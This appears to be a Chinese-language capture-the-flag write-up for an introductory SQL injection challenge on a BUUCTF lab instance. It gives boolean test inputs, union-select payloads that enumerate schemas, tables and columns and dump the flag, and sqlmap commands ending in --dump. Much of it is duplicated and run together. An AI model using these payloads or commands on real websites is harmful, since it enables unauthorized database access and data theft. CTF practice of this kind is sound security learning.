打开题目,只有一段文字,不过既然题目是sql注入,而且链接上面也有参数,直接注就完了
http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1
也是一道比较简单的入门题目。。。
(其实我闲着去试了一下,发现id=3可以弄到一个提示)
tipsif too diffcult ,add &tips=1 to the url !tips if too diffcult ,add &tips=1 to the url !tips if too diffcult ,add &tips=1 to the url !
很明显我们可以用万能钥匙试一试
\'and 1=1\'and 1=2\'and 1=1 \'and 1=2\'and 1=1 \'and 1=2
根据显示不同,可以判断确实有sql注入问题
说明可以从id注入,那么还是先测试能显示的列数 (这里用#
一定出问题,所以用了sql另一个注释符号--+
)
用union select 1,2,3
看看能显示的(记得把id换成他查询不到数据的值)
接下里就是一把嗦,直接把过程写下面了
-1\' union select 1,2,database()--+-1\' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+-1\' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=\'note\')--+-1\' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=\'fl4g\')--+-1\' union select 1,2,(select fllllag from note.fl4g)--+-1\' union select 1,2,database()--+ -1\' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+ -1\' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=\'note\')--+ -1\' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=\'fl4g\')--+ -1\' union select 1,2,(select fllllag from note.fl4g)--+-1\' union select 1,2,database()--+ -1\' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+ -1\' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=\'note\')--+ -1\' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=\'fl4g\')--+ -1\' union select 1,2,(select fllllag from note.fl4g)--+
最后flag为n1book{union_select_is_so_cool}
这里把sqlmap的命令也一并写出来,替换为链接为自己的
sqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" --dbssqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" -D note --tablessqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" -D note -T fl4g --columnssqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" -D note -T fl4g -C fllllag --dumpsqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" --dbs sqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" -D note --tables sqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" -D note -T fl4g --columns sqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" -D note -T fl4g -C fllllag --dumpsqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" --dbs sqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" -D note --tables sqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" -D note -T fl4g --columns sqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" -D note -T fl4g -C fllllag --dump
THE END
暂无评论内容